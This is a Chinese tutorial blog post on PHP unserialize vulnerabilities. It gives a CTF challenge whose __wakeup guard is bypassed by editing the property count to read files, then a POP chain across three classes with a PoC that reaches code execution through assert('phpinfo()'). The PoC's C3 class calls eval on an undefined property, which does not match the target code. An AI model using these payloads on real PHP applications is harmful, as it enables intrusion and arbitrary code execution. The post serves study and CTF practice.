zoukankan      html  css  js  c++  java
  • php反序列化简叙

    0x01 php简单的反序列化

      这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试

    <?php
    class SoFun{ 
        protected $file='ser.php';
        function __destruct(){ 
            if(!empty($this->file)) {
                   if(strchr($this-> file,"\")===false &&  strchr($this->file, '/')===false){
                    show_source(dirname (__FILE__).'/'.$this ->file);
                }
               }
            else{      
                die('Wrong filename.');
               }
        }
        function __wakeup(){ 
            $this-> file='ser.php'; 
        } 
        function __toString(){
            return '' ;
        }
    }
    
    if(!isset($_GET['file'])){ 
        show_source('ser.php'); 
    } 
    else{ 
        $file=base64_decode( $_GET['file']); 
        echo unserialize($file ); 
    } 
    ?>

    题目的相关魔术方法调用时机

    __destruct()类似于c中的析构函数,在对象被销毁时调用

    __toString()在这里没啥用

    __wakeup()在进行反序列化的时候调用

    __destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件

    __wakeup()在__destruct()前面调用

    那么目的是绕过__wakeup()进行__destruct()操作

    对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用

    首先构造payload

    <?php
    class SoFun{ 
        protected $file='hello.txt';
      public $a = "a";
    }
    $add = new SoFun;
    echo base64_encode(serialize($add));

    运行生成base64

     

    先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

    最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

    0x02 PHP反序列化的进一步利用

     php反序列化的知识点i春秋上的一篇文件写的非常详细

    https://bbs.ichunqiu.com/thread-39169-1-1.html

    那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码

    <?php
    class C1{
        function __construct($key, $word){
            $sijidou = $key . $word;
        }
    }
    class C2{
        private $a2;
        function __toString(){
            echo $this->a2->ying;    
            return "hello";
        }
    }
    class C3{
        private $fun;
        private $parm;
        function __get($key){
            $this->run();
            return null;
        }
        function run(){
            call_user_func($this->fun, $this->parm);
        }
    }
    if(isset($_GET['ser'])){
        $s = $_GET['ser'];
        $arr = unserialize($s);
        $class1 = new C1($arr['siji'],$arr['dou']);
    }
    else{
        highlight_file("demo.php");
    }  
    ?>

    这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行

    构造思路是入口为ser的参数,该参数是数组

    ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用

    该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法

    __toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法

    而 __get魔术方法会调用到run(),从而达到代码执行

    附上我写的poc

    <?php
        class C1{
            function __construct($key, $word){
                $sijidou = $key . $word;
            }
        }
    
        class C2{
            private $a2;
            function __toString(){
                $this->a2->ying;    
                return "hello";
            }
            function add(){
                $this->a2 = new C3();
            }
        }
    
        class C3{
            private $fun = "assert";
            private $parm = "phpinfo()";
            function __get($key){
                $this->run();
            }
            function run(){
                eval($this->a3);
            }
        }
        $class2 = new C2();
        $class3 = new C3();
        $class2->add();
        $exp = array('siji' => $class2, 'dou' => 'dou');
        echo urlencode(serialize($exp));
    
    ?>

     利用成功,成功执行phpinfo

    这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)

    http://134.175.147.161:10007/

  • 相关阅读:
    vue项目 axios封装第二弹
    封装axios
    css基于文件格式使用不同的样式
    vue使用过程中的一些小技巧
    element-ui中单独引入Message组件的问题
    vue中axios复用封装
    OTA“多角恋”:携程闪电入股同程、途牛
    OTA(Online Travel Agent)
    网络时代
    互联网技术
  • 原文地址:https://www.cnblogs.com/sijidou/p/10340795.html
Copyright © 2011-2022 走看看